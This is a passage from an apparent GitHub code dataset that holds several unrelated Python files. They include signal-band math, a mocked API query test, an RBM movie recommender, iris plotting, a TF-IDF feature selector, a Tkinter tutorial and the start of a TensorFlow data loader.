# Dependent on reference and averaging frequency\n log2_ave_physical = np.log2(scale_ref_hz/frequency_ave_hz)\n\n # Dependent on sensor sample rate\n log2_ref = np.log2(frequency_sample_hz/scale_ref_hz)\n log2_ave_cyber = np.log2(frequency_sample_hz/frequency_ave_hz)\n\n # Closest largest power of two to averaging frequency\n log2_ave_life_dyad = np.ceil(log2_scale_mult + log2_ave_cyber)\n\n # Shortest period, Nyquist limit\n band_nyq = int(np.ceil(order_over_log2base*(1-log2_ref)))\n # Closest period band\n band_ave = int(np.round(order_over_log2base*log2_ave_physical))\n # Longest period band\n band_max = int(np.floor(order_over_log2base*(log2_ave_life_dyad - log2_scale_mult - log2_ref)))\n\n return [band_nyq, band_ave, band_max, log2_ave_life_dyad]\n\n\ndef scale_bands_from_pow2(frequency_sample_hz: float,\n log2_ave_life_dyad: int,\n scale_order: float = default_scale_base,\n scale_ref_hz: float = default_ref_frequency,\n scale_base: float = default_scale_base):\n \"\"\"\n\n :param frequency_sample_hz:\n :param log2_ave_life_dyad:\n :param scale_order:\n :param scale_ref_hz:\n :param scale_base:\n :return: [band_nyq, band_max]\n \"\"\"\n\n # Framework constants\n scale_mult = scale_multiplier(scale_order)\n order_over_log2base = base_multiplier(scale_order, scale_base)\n\n # Dyadic transforms\n log2_scale_mult = np.log2(scale_mult)\n\n # Dependent on sensor sample rate\n log2_ref = np.log2(frequency_sample_hz/scale_ref_hz)\n\n # Shortest period, Nyquist limit\n band_nyq = int(np.ceil(order_over_log2base*(1-log2_ref)))\n # Longest period band\n band_max = int(np.floor(order_over_log2base*(log2_ave_life_dyad - log2_scale_mult - log2_ref)))\n\n return [band_nyq, band_max]\n\n\ndef period_from_band(band_min: int,\n band_max: int,\n scale_order: float = default_scale_base,\n scale_ref_s: float = default_ref_period,\n scale_base: float = default_scale_base):\n\n bands = np.arange(band_min, band_max+1)\n # Increasing order\n period = scale_ref_s*scale_base**(bands/scale_order)\n return period\n\n\ndef frequency_from_band(band_min: int,\n band_max: int,\n scale_order: float = default_scale_base,\n scale_ref_hz: float = default_ref_frequency,\n scale_base: float = default_scale_base):\n\n bands = np.arange(band_min, band_max+1)\n # Flip so it increases\n frequency = np.flip(scale_ref_hz*scale_base**(-bands/scale_order))\n return frequency\n\n\nif __name__ == \"__main__\":\n # Framework specs\n scale_order0 = 6.\n scale_base0 = Slice.G3\n scale_ref0 = Slice.F1\n\n # TFR Lower Limit, may want to lock\n frequency_ave_hz0 = 10.\n\n # Sensor specific\n frequency_sample_hz0 = 48000.\n\n print(scale_order0, scale_base0, scale_ref0)\n print(frequency_ave_hz0, frequency_sample_hz0)\n\n [band_nyq, band_ave, band_max, log2_ave_life_dyad0] = \\\n scale_bands_from_ave(frequency_sample_hz0, frequency_ave_hz0, scale_order0, scale_ref0, scale_base0)\n\n print(band_nyq, band_ave, band_max)\n # Min, Max, and Spec frequency\n freq_min_hz = scale_base0**(-band_max/scale_order0)\n freq_ave_hz = scale_base0**(-band_ave/scale_order0)\n freq_nyq_hz = scale_base0**(-band_nyq/scale_order0)\n print(freq_min_hz, freq_ave_hz, freq_nyq_hz)\n\n # Reproduce\n [band_nyq, band_max] = scale_bands_from_pow2(frequency_sample_hz0, log2_ave_life_dyad0, scale_order0, scale_ref0, scale_base0)\n freqs = frequency_from_band(band_nyq, band_max, scale_order0, scale_ref0, scale_base0)\n print('Physical freq:', freqs)\n print('Number of bands:', len(freqs))\n\n\n\n","repo_name":"ISLA-UH/libquantum","sub_path":"examples2/cyber_dyadic.py","file_name":"cyber_dyadic.py","file_ext":"py","file_size_in_byte":5493,"program_lang":"python","lang":"en","doc_type":"code","stars":2,"dataset":"github-code","pt":"67"} +{"seq_id":"11431751247","text":"from multiprocessing.sharedctypes import Value\nfrom pathlib import Path\nimport requests\nimport responses\nfrom cdcs import CDCS\nfrom pytest import raises\n\nfrom mock_database import *\n\nclass TestCDCS():\n \n @property\n def host(self):\n \"\"\"str: A fake host url for testing\"\"\"\n return 'https://fakeurl.fake'\n \n @property\n def cdcs(self):\n \"\"\"A cdcs object with anonymous user. Create only once\"\"\"\n try:\n return self.__cdcs\n except:\n self.__cdcs = CDCS(host=self.host, username='')\n return self.__cdcs\n\n @responses.activate\n def test_query(self):\n \"\"\"Tests query\"\"\"\n\n # Add Mock responses\n template_manager_responses(self.host)\n template_responses(self.host)\n query_responses(self.host)\n\n records = self.cdcs.query()\n assert len(records) == 12\n\n records = self.cdcs.query(template='first')\n assert len(records) == 8\n\n records = self.cdcs.query(template='second')\n assert len(records) == 4\n\n records = self.cdcs.query(title='second-record-2')\n assert len(records) == 1\n assert records.title[0] == 'second-record-2'\n assert records.template_title[0] == 'second'\n\n records = self.cdcs.query(mongoquery={\"first.name\": \"first-record-7\"})\n assert len(records) == 1\n assert records.title[0] == 'first-record-7'\n assert records.template_title[0] == 'first'\n\n records = self.cdcs.query(keyword='first-record-3')\n assert len(records) == 1\n assert records.title[0] == 'first-record-3'\n assert records.template_title[0] == 'first'\n\n with raises(ValueError):\n records = self.cdcs.query(mongoquery={\"first.name\": \"first-record-7\"},\n keyword='first-record-3')\n\n \n","repo_name":"sciserver/pycdcs","sub_path":"cdcs/tests/test_5_CDCS_query.py","file_name":"test_5_CDCS_query.py","file_ext":"py","file_size_in_byte":1860,"program_lang":"python","lang":"en","doc_type":"code","dataset":"github-code","pt":"67"} +{"seq_id":"70138429974","text":"# Restricted Boltzmann Machine\n\n# importing the libraries\nimport numpy as np\nimport pandas as pd\nimport torch\nimport torch.nn as nn\nimport torch.nn.parallel\nimport torch.optim as optim\nimport torch.utils.data\nfrom torch.autograd import Variable\n\n# importing the dataset\nmovies = pd.read_csv('Datasets/ml-1m/movies.dat', sep='::', header=None, \n engine='python', encoding='latin-1')\n\nusers = pd.read_csv('Datasets/ml-1m/users.dat', sep='::', header=None, \n engine='python', encoding='latin-1')\n\nratings = pd.read_csv('Datasets/ml-1m/ratings.dat', sep='::', header=None, \n engine='python', encoding='latin-1')\n\n# training and test set\ntraining_set = pd.read_csv('Datasets/ml-100k/u1.base', delimiter='\\t')\ntraining_set = np.array(training_set, dtype=\"int\")\n\ntest_set = pd.read_csv('Datasets/ml-100k/u1.test', delimiter='\\t')\ntest_set = np.array(test_set, dtype=\"int\")\n\n# total number of users\ntn_users = int(max(max(training_set[:,0]), max(test_set[:, 0])))\n# total number of movies\ntn_movies = int(max(max(training_set[:,1]), max(test_set[:, 1])))\n\n# converting the data into array\ndef convert(data):\n new_data = []\n for id_users in range(1, tn_users + 1):\n id_movies = data[:, 1][data[:, 0] == id_users]\n id_ratings = data[:, 2][data[:, 0] == id_users]\n ratings = np.zeros(tn_movies)\n ratings[id_movies - 1] = id_ratings\n new_data.append(list(ratings))\n return new_data\n\ntraining_set = convert(training_set)\ntest_set = convert(test_set)\n\n# converting the data into Torch tensors\ntraining_set = torch.FloatTensor(training_set)\ntest_set = torch.FloatTensor(test_set)\n\n# converting the ratings into binary ratings 1 (Liked) or 0 (Not Liked)\ntraining_set[training_set == 0] = -1\ntraining_set[training_set == 1] = 0\ntraining_set[training_set == 2] = 0\ntraining_set[training_set >= 3] = 1\n\ntest_set[test_set == 0] = -1\ntest_set[test_set == 1] = 0\ntest_set[test_set == 2] = 0\ntest_set[test_set >= 3] = 1\n\n# creating the architecture of the neural network\nclass RBM:\n def __init__(self, num_of_visible_nodes, num_of_hidden_nodes):\n # initialising the weights\n self.W = torch.randn(num_of_hidden_nodes, num_of_visible_nodes)\n # bias\n self.a = torch.randn(1, num_of_hidden_nodes)\n self.b = torch.randn(1, num_of_visible_nodes)\n \n def sample_h(self, x):\n \"\"\" sampling the hidden nodes \"\"\"\n wx = torch.mm(x, self.W.t())\n activation = wx + self.a.expand_as(wx)\n # probability that the hidden node is activated given the value of the \n # visible node\n P = torch.sigmoid(activation)\n return P, torch.bernoulli(P)\n \n def sample_v(self, y):\n \"\"\" sampling the visible nodes \"\"\"\n wy = torch.mm(y, self.W)\n activation = wy + self.b.expand_as(wy)\n # probability that the visible node is activated given the value of the\n # hidden node\n P = torch.sigmoid(activation)\n return P, torch.bernoulli(P)\n \n def train(self, v0, vk, ph0, phk):\n \"\"\"\n training the model.\n Params:\n v0: input vector\n vk: visible nodes obtained after k samplings\n ph0: vector of probabilities\n phk: probabilities of the hidden nodes after k sampling.\n \"\"\"\n self.W += (torch.mm(v0.t(), ph0) - torch.mm(vk.t(), phk)).t()\n self.b += torch.sum((v0 - vk), 0)\n self.a += torch.sum((ph0 - phk), 0)\n \nnv = len(training_set[0]) # number of visible nodes\nnh = 100 # number of hidden nodes\nbatch_size = 100\n\n# initialising the model\nrbm = RBM(num_of_visible_nodes = nv, num_of_hidden_nodes = nh)\n\n# training the RBM\nnb_epochs = 10\nfor epoch in range(1, nb_epochs + 1):\n train_loss = 0\n s = 0.\n # implementing batches\n for id_user in range(0, tn_users - batch_size, 100):\n # input batch of observations.\n vk = training_set[id_user:id_user + batch_size] # i.e. input batch of \n # all the ratings of the users in the batch the ratings that already existed.\n v0 = training_set[id_user:id_user + batch_size]\n ph0,_ = rbm.sample_h(v0)\n for k in range(10):\n _,hk = rbm.sample_h(vk)\n _,vk = rbm.sample_v(hk)\n # freezing the visible nodes contains -1\n vk[v0 < 0] = v0[v0 < 0]\n phk,_ = rbm.sample_h(vk)\n rbm.train(v0, vk, ph0, phk)\n train_loss += torch.mean(torch.abs(v0[v0 >= 0] - vk[vk >= 0]))\n s += 1.\n print(\"epoch: {} loss: {}\".format(str(epoch)+\"/\"+str(nb_epochs), str(train_loss.item()/s)))\n \n# Testing the RBM\ntest_loss = 0\ns = 0.\nfor id_user in range(tn_users):\n v = training_set[id_user:id_user+1]\n vt = test_set[id_user:id_user+1]\n if len(vt[vt>=0]) > 0:\n _,h = rbm.sample_h(v)\n _,v = rbm.sample_v(h)\n test_loss += torch.mean(torch.abs(vt[vt>=0] - v[vt>=0]))\n s += 1.\nprint('test loss: {}'.format(str(test_loss.item()/s)))\n \n \n","repo_name":"HariKumarValluru/100_Days_of_ML_Code","sub_path":"Deep Learning/Unsupervised Deep Learning/Boltzmann Machine/boltzmann_machine.py","file_name":"boltzmann_machine.py","file_ext":"py","file_size_in_byte":5024,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"67"} +{"seq_id":"37719905227","text":"import pandas as pd\nimport numpy as np\nimport matplotlib.pyplot as plt\nimport seaborn as sns\nfrom sklearn.datasets import load_iris\n\niris = load_iris()\n\nX = iris.data\ny = iris.target\n\n#data: 取得輸入特徵\n#target: 取得輸出特徵\n#feature_names: 取得輸入特徵的名稱\n#target_names: 取得輸出的類別標籤(分類資料集)\n#DESCR: 資料集詳細描述\n\niris = load_iris()\ndf_data = pd.DataFrame(data= np.c_[iris['data'], iris['target']],\n columns= ['SepalLengthCm','SepalWidthCm','PetalLengthCm','PetalWidthCm','Species'])\n \n#直方圖 histograms\ndf_data.hist(alpha=0.6,layout=(3,3), figsize=(12, 8), bins=10) \nplt.tight_layout()\nplt.show()\n\n\nfig, axes = plt.subplots(nrows=1,ncols=4)\nfig.set_size_inches(15, 4)\nsns.histplot(df_data[\"SepalLengthCm\"][:],ax=axes[0], kde=True)\nsns.histplot(df_data[\"SepalWidthCm\"][:],ax=axes[1], kde=True)\nsns.histplot(df_data[\"PetalLengthCm\"][:],ax=axes[2], kde=True)\nsns.histplot(df_data[\"PetalWidthCm\"][:],ax=axes[3], kde=True)\nplt.show()\n\n\nfrom pandas.plotting import scatter_matrix\nscatter_matrix( df_data,figsize=(10, 10),color='b',diagonal='kde')\nplt.show()\n\n\nsns.pairplot(df_data, hue=\"Species\", height=2, diag_kind=\"kde\")\nplt.show()\n\n\n# correlation 關聯分析計算\ncorr = df_data[['SepalLengthCm','SepalWidthCm','PetalLengthCm','PetalWidthCm','Species']].corr()\nplt.figure(figsize=(8,8))\nsns.heatmap(corr, square=True, annot=True, cmap=\"RdBu_r\")\nplt.show()\n\n\n\nsns.lmplot(x=\"SepalLengthCm\", y=\"SepalWidthCm\", hue='Species', data=df_data, fit_reg=False, legend=False)\nplt.legend(title='Species', loc='upper right', labels=['Iris-Setosa', 'Iris-Versicolour', 'Iris-Virginica'])\n\n\nplt.show()\n","repo_name":"lllason/Class_AI","sub_path":"object02_classification/iris00.py","file_name":"iris00.py","file_ext":"py","file_size_in_byte":1691,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"67"} +{"seq_id":"8657866222","text":"import requests\n\nresponse = requests.get(\"https://playground.learnqa.ru/api/long_redirect\")\nfirst = response.history[0]\nsecond = response.history[1]\nthird = response\n\nprint(first.url)\nprint(second.url)\nprint(third.url)\n\n","repo_name":"nvladimirov/LarnQA_Python_API","sub_path":"Ex6.py","file_name":"Ex6.py","file_ext":"py","file_size_in_byte":220,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"67"} +{"seq_id":"20106592371","text":"from sklearn.feature_extraction.text import CountVectorizer\nfrom sklearn.feature_extraction.text import TfidfTransformer\nfrom nltk.corpus import stopwords\nimport numpy as np\nfrom numpy import ndarray\nfrom sklearn.feature_selection import SelectKBest\nfrom sklearn.feature_selection import chi2\nfrom sklearn.feature_selection import f_classif\nfrom sklearn.feature_selection import mutual_info_classif\nfrom functools import reduce\nfrom sklearn.preprocessing import normalize\nfrom time import time\nfrom utility import get_time_string\nfrom sklearn.base import BaseEstimator, TransformerMixin\n\nstop_words=set(stopwords.words('english'))\n\nclass FeatureSelector(BaseEstimator, TransformerMixin):\n def __init__(self, pipeline_automator):\n self.pipeline_automator = pipeline_automator\n\n def transform(self, X):\n tfidf_matrix, tfidf_terms = get_tfidf_matrix(X, self.pipeline_automator, only_transform=True)\n meta_features_matrix = get_meta_features_matrix(X)[0]\n X, y = tfidf_matrix[:,:-1], tfidf_matrix[:,-1]\n meta_features_tfidf_matrix = np.column_stack( [X, meta_features_matrix, y] )\n return univariate_feature_selection(meta_features_tfidf_matrix,\n None,\n None,\n None,\n self.pipeline_automator,\n only_transform=True)\n\n def fit(self, X, y=None):\n return self\n\ndef feature_select(data, pipeline_automator):\n print('\\n\\nFeature Selection... ')\n start = time()\n\n # seed the random number generator for reproducibility.\n random_state = pipeline_automator.parameters['random_state']\n np.random.seed(random_state)\n\n # Take our cleaned data and terms and transform into a TF-IDF matrix with L2-normalization applied to the row vectors\n terms = pipeline_automator.metadata['terms']\n print('Getting TF-IDF Matrix...')\n tfidf_matrix, tfidf_terms = get_tfidf_matrix(data, pipeline_automator, print_matrix=True)\n\n # Add the Meta-Features to the tf-idf matrix\n print('Adding Meta-Features...')\n meta_features_matrix, meta_features_col_names = get_meta_features_matrix(data)\n if meta_features_matrix is not None:\n X, y = tfidf_matrix[:,:-1], tfidf_matrix[:,-1]\n X = X.astype(np.float64)\n y = y.reshape( (y.shape[0], 1) )\n y = np.array(y.T)[0]\n meta_features_tfidf_matrix = np.column_stack( [X, meta_features_matrix, y] )\n features = tfidf_terms + meta_features_col_names\n print('tfidf + meta features shape:', meta_features_tfidf_matrix.shape )\n else:\n meta_features_tfidf_matrix = tfidf_matrix\n\n features_count = int(meta_features_tfidf_matrix.shape[1] - 1) #exclude the label column\n\n # Selected Features Matrix\n # Use the specified feature selection metric and the number of features to keep to determine which terms aka features to select\n print('Performing Univariate Feature Selection...')\n feature_selection_metric = pipeline_automator.parameters['feature_selection_metric']\n n_features_to_keep = int(features_count * pipeline_automator.parameters['n_selected_features']) # number / ratio of features to select\n\n top_features, top_features_matrix = univariate_feature_selection(meta_features_tfidf_matrix, \n n_features_to_keep, \n feature_selection_metric, \n features,\n pipeline_automator)\n print('reduced tfidf shape:',top_features_matrix.shape)\n\n\n if pipeline_automator.parameters['remove_zero_length_vectors']:\n # Some records may not contain any of the selected features and should thus be ignored.\n top_features_matrix = remove_zero_length_vectors(top_features_matrix)\n \n print('Selected Features Matrix shape:', top_features_matrix.shape)\n print(top_features_matrix)\n\n for feature in top_features:\n print(feature)\n\n if pipeline_automator.parameters['use_L2_row_normalization']:\n # the remaining vectors are then normalized one last time to take the meta features into account.\n top_features_matrix = normalize_matrix(top_features_matrix)\n\n # Cache the metadata\n zero_row_vector_count = len(data) - len(top_features_matrix)\n feature_selection_matrix_shape = top_features_matrix.shape\n pipeline_automator.metadata['features'] = features\n pipeline_automator.metadata['features_count'] = len(features)\n pipeline_automator.metadata['selected_features'] = top_features\n pipeline_automator.metadata['selected_features_count'] = n_features_to_keep\n pipeline_automator.metadata['zero_row_vector_count'] = zero_row_vector_count\n pipeline_automator.metadata['feature_selected_matrix_shape'] = feature_selection_matrix_shape\n pipeline_automator.metadata['feature_selected_matrix'] = top_features_matrix\n stop = time()\n time_elapsed = get_time_string(stop - start)\n pipeline_automator.metadata['feature_selection_time'] = time_elapsed\n # Return the selected terms tf-idf-L2 scaled matrix representation of the data\n return top_features_matrix\n\ndef get_tfidf_matrix(data, pipeline_automator, print_matrix = False, only_transform=False):\n #combine the original description w/ lemma phrase for the count vectorizer to work. This only works if the description text is lowercased.\n records_set_lemmas = [ record[1] for record in data ]\n records_set = [ record[0] for record in data ]\n labels_set = [ record[3] for record in data ]\n\n lemmas = pipeline_automator.metadata['lemmas']\n colloc2= pipeline_automator.metadata['bigram_collocations']\n colloc3= pipeline_automator.metadata['trigram_collocations']\n\n binary_values_boolean = True if pipeline_automator.parameters['term_value'] == 'presence' else False\n norm_value = 'l2' if pipeline_automator.parameters['use_L2_row_normalization'] else None\n use_tfidf_scaling = not binary_values_boolean and pipeline_automator.parameters['use_tfidf_scaling']\n \n y = np.matrix(labels_set).T\n\n terms_matrices = []\n \n if lemmas:\n vectorizer_lemma = CountVectorizer(vocabulary=lemmas, ngram_range=(1,1), lowercase=False, binary=binary_values_boolean)\n X_lemmas = vectorizer_lemma.fit_transform(records_set_lemmas)\n if not only_transform: print('Vectorizing lemmas...')\n terms_idx_mapping_lemmas = {v:k for k,v in vectorizer_lemma.vocabulary_.items()}\n vocabulary = [terms_idx_mapping_lemmas[i] for i in range(len(terms_idx_mapping_lemmas))] #list index == column index in the matrix\n term_frequency_matrix_lemmas = X_lemmas.todense()\n terms_matrices.append(term_frequency_matrix_lemmas) \n\n if len(colloc2) > 0:\n vectorizer_bigrams = CountVectorizer(vocabulary=colloc2, ngram_range=(2,2), lowercase=False, binary=binary_values_boolean)\n X_bigrams = vectorizer_bigrams.fit_transform(records_set)\n if not only_transform: print('Vectorizing bigram collocations...')\n terms_idx_mapping_bigrams = {v:k for k,v in vectorizer_bigrams.vocabulary_.items()}\n vocabulary += [terms_idx_mapping_bigrams[i] for i in range(len(terms_idx_mapping_bigrams))] #list index == column index in the matrix\n term_frequency_matrix_bigrams = X_bigrams.todense()\n terms_matrices.append(term_frequency_matrix_bigrams)\n\n if len(colloc3) > 0:\n vectorizer_trigrams = CountVectorizer(vocabulary=colloc3, ngram_range=(3,3), lowercase=False, binary=binary_values_boolean)\n X_trigrams = vectorizer_trigrams.fit_transform(records_set)\n if not only_transform: print('Vectorizing trigrams collocations...')\n terms_idx_mapping_trigrams = {v:k for k,v in vectorizer_trigrams.vocabulary_.items()}\n vocabulary += [terms_idx_mapping_trigrams[i] for i in range(len(terms_idx_mapping_trigrams))] #list index == column index in the matrix\n term_frequency_matrix_trigrams = X_trigrams.todense()\n terms_matrices.append(term_frequency_matrix_trigrams)\n \n term_frequency_matrix = np.column_stack(terms_matrices)\n\n if use_tfidf_scaling and not only_transform:\n tfidf = TfidfTransformer(norm=norm_value, use_idf=True)\n tfidf.fit(term_frequency_matrix)\n tfidf_matrix = tfidf.transform(term_frequency_matrix).todense()\n pipeline_automator.metadata[\"tfidf_transformer\"] = tfidf\n pipeline_automator.metadata['idf_matrix'] = tfidf.idf_ # necessary for converting new examples into the correct format.\n final_matrix = np.concatenate( [tfidf_matrix, y], 1)\n elif use_tfidf_scaling and only_transform:\n tfidf = pipeline_automator.metadata['tfidf_transformer']\n tfidf_matrix = tfidf.transform(term_frequency_matrix).todense()\n final_matrix = np.concatenate( [tfidf_matrix, y], 1)\n else:\n final_matrix = np.concatenate( [term_frequency_matrix, y], 1)\n\n if print_matrix:\n print(final_matrix)\n print(final_matrix.shape)\n\n return final_matrix, vocabulary\n\ndef univariate_feature_selection(tfidf_matrix, k, metric, terms, pipeline_automator, only_transform=False):\n \"\"\"\n Uses the f-statistic and chi-2 statistic to filter the k-best features for classification.\n \"\"\"\n X, y = tfidf_matrix[:,:-1], tfidf_matrix[:,-1]\n X = X.astype(np.float64)\n y = y.reshape( (y.shape[0], 1) )\n y = np.array(y.T)[0]\n\n if not only_transform:\n statistic_metrics = {'chi^2':chi2 , 'F':f_classif, 'mutual_info':mutual_info_classif}\n statistic_names = {f_classif: 'F Score', chi2: 'Chi-Squared Score', mutual_info_classif: 'Mutual Information Score' } \n statistic = statistic_metrics[metric]\n print('Calculating best features using:', statistic_names[statistic])\n # fit the SelectKBest object to the data:\n bestfeatures = SelectKBest(score_func=statistic, k=k)\n pipeline_automator.metadata[\"best_features\"] = bestfeatures\n fit = bestfeatures.fit(X,y)\n tf_X = bestfeatures.transform(X)\n top_features_matrix = np.column_stack([tf_X, y])\n\n top_features = [] # the list of the K best features\n mask = bestfeatures.get_support() # list of booleans\n for boolean, feature in zip(mask, terms):\n if boolean:\n top_features.append(feature)\n else:\n # fit the SelectKBest object to the data:\n bestfeatures = pipeline_automator.metadata[\"best_features\"]\n tf_X = bestfeatures.transform(X)\n return tf_X\n\n\n return top_features, top_features_matrix\n\ndef get_meta_features_matrix(data):\n from sklearn.preprocessing import MinMaxScaler\n\n metafeatures_column = [row[2] for row in data] #list of metafeatures dictionaries\n\n meta_features = list(sorted(metafeatures_column[0].keys()))\n\n if len(meta_features) > 0:\n meta_features_2d_list = [ [ dictionary[feature] for feature in meta_features] for dictionary in metafeatures_column ]\n unscaled_meta_features_matrix = np.array(meta_features_2d_list)\n \n scaler = MinMaxScaler()\n scaler.fit(unscaled_meta_features_matrix)\n scaled_meta_features_matrix = scaler.transform(unscaled_meta_features_matrix)\n\n else:\n return None, None\n return scaled_meta_features_matrix, meta_features\n\ndef normalize_matrix(matrix):\n \"\"\"\n normalizes a matrix where the first n_cols-1 columns are features and the last column is a label.\n \"\"\"\n X, y = matrix[:,:-1], matrix[:,-1]\n X = X.astype(np.float64)\n y = y.reshape( (y.shape[0], 1) )\n y = np.array(y.T)[0]\n X_norm = normalize(X, axis=1, norm='l2')\n normalized_matrix = np.column_stack([X_norm, y])\n return normalized_matrix\n\ndef remove_zero_length_vectors(matrix):\n \"\"\"\n Some rows will not contain any of our selected terms, we remove these from consideration.\n \"\"\"\n def vector_length(x):\n \"\"\"\n Used to calculate the length of the vectors to check for any of zero length.\n \"\"\"\n from math import sqrt\n return sqrt(sum([xi**2 for xi in x]))\n\n features = []\n labels = []\n for row in matrix: \n total_row_vector = np.squeeze(np.asarray(row))\n terms_row_vector = total_row_vector[:-1]\n label = [total_row_vector[-1]]\n term_vals = list( float(val) for val in terms_row_vector )\n if vector_length(term_vals) > 0.0:\n features.append(term_vals)\n labels.append(label)\n features_and_label = np.column_stack([np.array(features), np.array(labels)])\n\n return features_and_label","repo_name":"TadayoshiCarvajal/MachineLearningAutomator","sub_path":"mla/src/feature_selection.py","file_name":"feature_selection.py","file_ext":"py","file_size_in_byte":12540,"program_lang":"python","lang":"en","doc_type":"code","stars":1,"dataset":"github-code","pt":"67"} +{"seq_id":"8014646874","text":"#2) Os pares de instruções abaixo produzem o mesmo resultado?\n\n\na = (4/2) + (2/4)\na2 = 4/2 + 2/4\n\nprint(a,a2)\n#resultado 2.5, são iguais\n\nb = 4/(2+2)/4\nb2 = 4/2 + 2/4\n\nprint(b,b2)\n#resultado 0.25 2.5, nao sao iguais\n\nc = (4+2)*2-4\nc2 = 4+2*2-4\n\nprint(c,c2)\n#resultado 8 e 4, nao sao iguais \n","repo_name":"gcarvalhomartins/Exericicios_logica_programacao","sub_path":"2_exercicio.py","file_name":"2_exercicio.py","file_ext":"py","file_size_in_byte":294,"program_lang":"python","lang":"pt","doc_type":"code","stars":1,"dataset":"github-code","pt":"67"} +{"seq_id":"38877557629","text":"from textwrap import dedent\n\nimport pytest\n\nfrom zmei_generator.parser.parser import ZmeiParser\n\n\ndef _(code):\n parser = ZmeiParser()\n parser.parse_string(dedent(code))\n return parser.populate_application('example')\n\n\ndef test_page_error404():\n app = _(\"\"\"\n\n [boo]\n @error(404)\n \"\"\")\n\n boo = app.pages['boo']\n\n assert 404 in boo.handlers\n\n\ndef test_page_error502():\n app = _(\"\"\"\n\n [boo]\n @error(502)\n \"\"\")\n\n boo = app.pages['boo']\n\n assert 502 in boo.handlers\n","repo_name":"zmei-framework/generator","sub_path":"tests/unit/page/test_error.py","file_name":"test_error.py","file_ext":"py","file_size_in_byte":521,"program_lang":"python","lang":"en","doc_type":"code","stars":10,"dataset":"github-code","pt":"67"} +{"seq_id":"1395667911","text":"import tkinter\r\n\r\nwindow = tkinter.Tk()\r\n\r\nwindow.title(\"FIrst Tkinter title\")\r\nwindow.minsize(width=500, height=300)\r\n\r\n# adds padding the edges of the window\r\nwindow.config(padx=20,pady=20)\r\n\r\n\r\n#label/place/grid (PLACEMENTS)\r\nmy_label = tkinter.Label(text=\"I love you\", font=(\"arial\", 24, 'bold'))\r\n# my_label.pack()\r\n#pack calls something and centers it in the widnow\r\n# my_label.place(x=0,y=0)\r\n#place (0,0) is the top left\r\nmy_label.grid(column=1,row=1)\r\nmy_label.config(padx=50,pady=50)\r\n # NOTE grid and pack CANNOT be used together\r\n\r\n# IF NO PLACEMENTS ARE DEFINED THEN THE ELEMENT WILL NOT SHOW\r\n\r\n\r\n#button (GUIs)\r\n\r\ndef button_action():\r\n my_label.config(text=input.get())\r\n \r\nbutton = tkinter.Button(text='enter', command=button_action)\r\nbutton.grid(column=2,row=2)\r\nnew_button = tkinter.Button(text='enter', command=button_action)\r\nnew_button.grid(column=3,row=1)\r\n# button.pack()\r\n\r\n\r\n#entry\r\n\r\ninput = tkinter.Entry(width=10)\r\ninput.grid(column=4,row=3)\r\n# input.pack()\r\n\r\n\r\n#text\r\ntext = tkinter.Text(height=5,width=30)\r\n#Puts cursor in textbox.\r\ntext.focus()\r\n#Adds some text to begin with.\r\ntext.insert(tkinter.END,\"Example of multi-line text entry.\")\r\n#Get's current value in textbox at line 1, character 0\r\nprint(text.get(\"1.0\", tkinter.END))\r\n #NOTE still not really sure what the 'end' does in the index in this situation\r\n# text.pack()\r\n\r\n\r\n#spinbox\r\ndef spinbox_action():\r\n print(spinbox.get())\r\n \r\nspinbox = tkinter.Spinbox(from_=0, to=100,width=5,command=spinbox_action)\r\n# spinbox.pack()\r\n\r\n\r\n#scale\r\ndef scale_action(value):\r\n print(value)\r\n \r\nscale = tkinter.Scale(from_=0, to=100, command=scale_action)\r\n# scale.pack()\r\n\r\n\r\n#checkbox\r\ndef checkbox_action():\r\n #print 1 if on and 0 if not checked\r\n print(checked_state.get())\r\n \r\nchecked_state = tkinter.IntVar()\r\ncheckbutton = tkinter.Checkbutton(\r\n text='is it on?',\r\n variable=checked_state,\r\n command=checkbox_action\r\n )\r\nchecked_state.get()\r\n# checkbutton.pack()\r\n\r\n\r\n#radio buttons\r\ndef radio_action():\r\n print(radio_state.get())\r\n \r\nradio_state = tkinter.IntVar()\r\nradiobutton1 = tkinter.Radiobutton(\r\n text='option1',\r\n value=1,\r\n variable=radio_state,\r\n command=radio_action\r\n )\r\nradiobutton2 = tkinter.Radiobutton(\r\n text='option2',\r\n value=2,\r\n variable=radio_state,\r\n command=radio_action\r\n )\r\n# radiobutton1.pack()\r\n# radiobutton2.pack()\r\n\r\n#mainloop is always the end \r\nwindow.mainloop()\r\n","repo_name":"thedazi/pyprojects","sub_path":"Day27TKinter/lesson27.py","file_name":"lesson27.py","file_ext":"py","file_size_in_byte":2415,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"67"} +{"seq_id":"74842820374","text":"import os\nimport random\nimport json\nimport tensorflow as tf\n\n\nclass DataLoader():\n\n def __init__(self, data_path, data_config):\n self.data_path = data_path\n self.config = data_config\n # self.vocabulary = vocabulary\n\n def batcher(self, mode=\"train\"):\n data_path = self.get_data_path(mode)\n dataset = tf.data.Dataset.list_files(data_path + '/*.txt', shuffle=mode != 'eval', seed=42)\n dataset = dataset.interleave(lambda x: tf.data.TextLineDataset(x).shuffle(\n buffer_size=1000) if mode == 'train' else tf.data.TextLineDataset(x), cycle_length=4, block_length=16)\n dataset = dataset.prefetch(1)\n if mode == \"train\":\n dataset = dataset.repeat()\n # debug = self.to_batch(dataset, mode)\n # for d in debug:\n # print(tf.size(d)[0])\n ds = tf.data.Dataset.from_generator(lambda mode: self.to_batch(dataset, mode), output_types=(\n tf.dtypes.float32, tf.dtypes.int32, tf.dtypes.int32, tf.dtypes.int32, tf.dtypes.int32), args=(mode,))\n ds = ds.prefetch(1)\n return ds\n\n def get_data_path(self, mode):\n if mode == \"train\":\n return os.path.join(self.data_path, \"train\")\n elif mode == \"dev\":\n return os.path.join(self.data_path, \"dev\")\n elif mode == \"eval\":\n return os.path.join(self.data_path, \"eval\")\n else:\n raise ValueError(\"Mode % not supported for batching; please use \\\"train\\\", \\\"dev\\\", or \\\"eval\\\".\")\n\n def to_sample(self, json_data):\n def parse_edges(edges):\n # Reorder edges to [edge type, source, target] and double edge type index to allow reverse edges\n # relations = [[2 * EDGE_TYPES[rel[3]], rel[0], rel[1]] for rel in edges if rel[\n # 3] in EDGE_TYPES] # Note: we reindex edge types to be 0-based and filter unsupported edge types (useful for ablations)\n # relations += [[rel[0] + 1, rel[2], rel[1]] for rel in relations] # Add reverse edges\n relations = [[rel[1], 